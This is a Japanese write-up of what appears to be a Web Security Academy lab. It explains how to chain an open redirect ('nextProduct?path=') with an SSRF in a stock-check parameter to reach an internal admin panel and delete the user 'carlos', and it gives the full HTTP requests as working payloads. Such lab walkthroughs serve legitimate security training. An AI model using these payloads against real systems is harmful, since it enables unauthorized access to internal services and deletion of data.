Hello there, ('ω')ノ
このラボでは、SSRF(Server-Side Request Forgery)を利用して、内部の管理インターフェース(http://192.168.0.12:8080/admin
)にアクセスし、ユーザー「carlos」を削除する ことが目的です。
しかし、アプリケーションはローカルアプリケーションのURLしか許可しておらず、直接管理ページにはアクセスできません。
そこで、アプリケーション内のオープンリダイレクションの脆弱性を悪用して、フィルタを回避 します。
🔍 攻撃の手順
1. 在庫チェック機能を利用してリクエストを傍受
- 任意の製品ページを開く
- 「Check stock(在庫を確認)」ボタンをクリック
- Burp Suite を起動し、リクエストをキャプチャ
リクエストの例:
POST /product/stock HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://YOUR-LAB-ID.web-security-academy.net/product/stock/check?productId=6&storeId=1
✅ stockApi
の値に外部URLを設定するとブロックされることを確認!
✅ このフィルタを回避するため、オープンリダイレクションを探す!
2. オープンリダイレクションの脆弱性を探す
- 「Next Product」ボタンをクリックして、遷移先のURLを確認する
path
パラメータがLocation
ヘッダーにそのまま設定されることを確認!
GET /product/nextProduct?path=http://evil.com HTTP/1.1
レスポンス
HTTP/1.1 302 Found
Location: http://evil.com
✅ この機能がオープンリダイレクションの脆弱性を持っていることを確認!
3. SSRFリクエストを作成
オープンリダイレクションを利用し、管理ページにリダイレクトさせる!
▶ SSRFリクエスト
POST /product/stock HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://YOUR-LAB-ID.web-security-academy.net/product/nextProduct?path=http://192.168.0.12:8080/admin
🔹 このリクエストの流れ:
- アプリケーションは
YOUR-LAB-ID.web-security-academy.net
を含むため、フィルタを通過 /product/nextProduct
にリクエストが送られるpath=http://192.168.0.12:8080/admin
により、管理ページにリダイレクト- バックエンドのHTTPクライアントがリダイレクトをフォローし、
http://192.168.0.12:8080/admin
にアクセス!
✅ 成功すると、レスポンスに /admin
のHTMLが含まれる可能性がある!
4. ユーザー削除リクエストを実行
レスポンスのHTMLを確認し、削除リクエストのパスを特定します。
例えば、次のようなリンクがあるとします。
<a href="/admin/delete?username=carlos">Delete carlos</a>
▶ SSRFリクエストでユーザーを削除
POST /product/stock HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://YOUR-LAB-ID.web-security-academy.net/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
✅ このリクエストが成功すれば、「carlos」ユーザーが削除される!
✅ ラボクリア!🎉
🎯 まとめ
- 在庫チェック機能を使い、Burp Suite でリクエストをキャプチャ
- 「Next Product」のリクエストを確認し、
path
パラメータによるオープンリダイレクションを発見 - オープンリダイレクションを利用し、管理ページ
http://192.168.0.12:8080/admin
にアクセス stockApi=http://YOUR-LAB-ID.web-security-academy.net/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
を送信し、ユーザー削除- ラボクリア!🎉
Best regards, (^^ゞ